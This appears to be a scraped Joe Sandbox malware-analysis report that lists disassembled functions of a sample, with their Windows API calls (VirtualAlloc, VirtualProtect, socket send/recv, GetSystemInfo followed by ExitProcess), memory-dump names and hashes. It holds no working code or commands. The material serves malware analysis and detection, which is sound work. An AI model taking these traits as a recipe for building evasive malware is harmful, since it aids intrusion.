Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: FileRead
String ID: winRead
API String ID: 2738559852-2759563040
Opcode ID: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction ID: 0463a8294cdaeeb391ba6f45b5ad466d8cdf6662135ec028d0205bc88dba3c8e
Opcode Fuzzy Hash: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction Fuzzy Hash: 2041E475A052699BCF04CFA8D88498EBBF2FF88314F618529E868A7354D730E941CB91

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction ID: 960187402ee01aff1aca01ef16381d87fa4c626a1601440f33a421b94010635f
Opcode Fuzzy Hash: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction Fuzzy Hash: D6213374A04208EFDB04CF88D544BADBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 61E354D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,61ECC400,?,61E35248), ref: 61E354EB

Strings

HRa, xrefs: 61E3554C

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: InfoSystem
String ID: HRa
API String ID: 31276548-1004199025
Opcode ID: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction ID: 06cda1940385b8855eb11c4b22b944da250b3e82bd825487f891a332eec36e05
Opcode Fuzzy Hash: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction Fuzzy Hash: 56F03AB02083419BD704AFA4C60631FBAF5AFC6B09F66C82DD1858B380CB75D8559B93

Function 00408730 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040873C

Part of subcall function 0041DC60: std::exception::exception.LIBCMT ref: 0041DC75
Part of subcall function 0041DC60: __CxxThrowException@8.LIBCMT ref: 0041DC8A
Part of subcall function 0041DC60: std::exception::exception.LIBCMT ref: 0041DC9B

Strings

invalid string position, xrefs: 00408737

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position
API String ID: 1823113695-1799206989
Opcode ID: 74991b45b5c7e59ea325ee4e77b2628799a4b12b0a39a3973d45cb9a561df2c9
Instruction ID: 97c022c79ddf270a855631100dc0022c73afdf4ddf526398ed2eb5d9fd39bc4d
Opcode Fuzzy Hash: 74991b45b5c7e59ea325ee4e77b2628799a4b12b0a39a3973d45cb9a561df2c9
Instruction Fuzzy Hash: 08B092B1A4921C660604AA8AAD478AAB66CC541A14F60029EB80857381A8E62D5051EA

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction ID: fd8884a5b4d1e95754380b5432cffff504e2d4d7245242e6cdc6148b35b0e1b4
Opcode Fuzzy Hash: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction Fuzzy Hash: 816127B4900209DFCB14CF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 6D4B2A70 Relevance: 3.1, APIs: 2, Instructions: 91networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000000,?,?), ref: 6D4B2B23
WSAGetLastError.WS2_32 ref: 6D4B2B30

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorLastgetaddrinfo
String ID:
API String ID: 4160901379-0
Opcode ID: 1c03a6a7efafbbfe95363bf712f8dbf3c56772dd9bf626a677a47682fff58403
Instruction ID: 9d126172fd776fac2271931e589c365642294fd8f82cbe8c3cf1f3ee83cd3d96
Opcode Fuzzy Hash: 1c03a6a7efafbbfe95363bf712f8dbf3c56772dd9bf626a677a47682fff58403
Instruction Fuzzy Hash: 18315B749142099FDB10CF54C984FEEBBF8EF59314F518469E849A7340EB75AE84CBA0

Function 61E3402F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 61E3404C

Strings

winClose, xrefs: 61E34086

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: CloseHandle
String ID: winClose
API String ID: 2962429428-4219828513
Opcode ID: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
Instruction ID: 774f0b390e99eda96ce63d5266cab459109c075f265339c96ef3e2cb904a27c1
Opcode Fuzzy Hash: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
Instruction Fuzzy Hash: EBF09670B043259BE700AF75C5C4A5AFBA4EF89314F20C46DD8898B342D73AD944CB92

Function 6D4AC7B0 Relevance: 3.0, APIs: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,7FFFFFFF,00000000), ref: 6D4AC7D2
WSAGetLastError.WS2_32 ref: 6D4AC7DD

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 4b0f1444968802693d3f39d86023b48a5ee72fe90ff8628cc81cfe368bea7bd7
Instruction ID: 683ff9dacbe4c4640612f8f00844ebe16606472d537b034c5445cbd73044ab19
Opcode Fuzzy Hash: 4b0f1444968802693d3f39d86023b48a5ee72fe90ff8628cc81cfe368bea7bd7
Instruction Fuzzy Hash: 34F03A752002559BDF109EB8D80476ABBE5EB49770F208629FA6AC77D0D7319C408B91

Function 6D4AC710 Relevance: 3.0, APIs: 2, Instructions: 30networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,00000004,00000004), ref: 6D4AC72F
WSAGetLastError.WS2_32(?,00000004,00000020), ref: 6D4AC73C

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID:
API String ID: 1729277954-0
Opcode ID: bde9f3b6991142341cc900676514fe73bed164ec9a387f8452f6dd554ebde7b9
Instruction ID: b7f6677becfe5b3524a39a30910e90cbe6b82b111913b049169a17346fbe507b
Opcode Fuzzy Hash: bde9f3b6991142341cc900676514fe73bed164ec9a387f8452f6dd554ebde7b9
Instruction Fuzzy Hash: 57F0E270500344ABEB108F68C858BCB7FF49F09324F008459FAAB873C0D271E844C791

Function 6D4AC760 Relevance: 3.0, APIs: 2, Instructions: 28networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,7FFFFFFF,00000000), ref: 6D4AC782
WSAGetLastError.WS2_32(?,?,6D47B35F,?,?,?,?), ref: 6D4AC791

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ErrorLastsend
String ID:
API String ID: 1802528911-0
Opcode ID: 621a6658e30702fd963a096da94a93ea83b2523c2a2b2b1ea972b98c076f1ad5
Instruction ID: d186111286bf66c9126851d58ae27c986f97578b0456c5f0b2c58095911ad88e
Opcode Fuzzy Hash: 621a6658e30702fd963a096da94a93ea83b2523c2a2b2b1ea972b98c076f1ad5
Instruction Fuzzy Hash: 64F058392002459BDB118E68D804B6A7BE9AB0A334F208619F87A872D0CB31EC148B92

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction ID: 7de8415141d8ede1392e5156f4839a36e98c975bb62c62673ce2cce929d499c4
Opcode Fuzzy Hash: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction Fuzzy Hash: 9ED05E74D0530DABCB04DFE09D496DDBB79BB0C315F041656DD0572240EA305441CA66

Function 0040B4C0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040B992
lstrlenA.KERNEL32(00000000), ref: 0040B9A6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: 4dc2ec2a6e3dd7febaf4d89495ab058cd1c4a6066325b6b0c73dc4faa1de1ccf
Instruction ID: 2255bc3e1aae02863dcd83073914f46634cd1c5da6bc7bd4c07d15e0a17c61c2
Opcode Fuzzy Hash: 4dc2ec2a6e3dd7febaf4d89495ab058cd1c4a6066325b6b0c73dc4faa1de1ccf
Instruction Fuzzy Hash: BAE14672A111189BCB04FBA1DD66EEE7339AF14314F40459EF10672095EF387B98CB6A

Function 0040AEC0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B13A
lstrlenA.KERNEL32(00000000), ref: 0040B14E

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 63b32f80457424f2b8beb4d2df44bc04492c0f133f899f98ef665af12abdeb40
Instruction ID: b118e420acb74f1bad9678fc0f4fca3608bd39bb9752133bd9c886ddfd0b535b
Opcode Fuzzy Hash: 63b32f80457424f2b8beb4d2df44bc04492c0f133f899f98ef665af12abdeb40
Instruction Fuzzy Hash: A8916672A151089BCB04FBA1DC66DEE7339AF14314F40456FF10663195EF387A98CB6A

Function 0040B200 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B3FE
lstrlenA.KERNEL32(00000000), ref: 0040B412

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: edd3777f0c6e48ea08d30db4e0162ff265d819f7057c1545e1021aa7519312ea
Instruction ID: df39fec182a976cf14ea74314fd1cc2d61bc45c83f0c5b543270b10835f39725
Opcode Fuzzy Hash: edd3777f0c6e48ea08d30db4e0162ff265d819f7057c1545e1021aa7519312ea
Instruction Fuzzy Hash: B4715271A111089BCB04FBA1DCA6DEE733AAF14314F40456FF50267195EF387A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
Instruction ID: 1e55e6aee22da07579867dcc14e26085db0c1923c06382e7ddd462ac09197dec
Opcode Fuzzy Hash: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
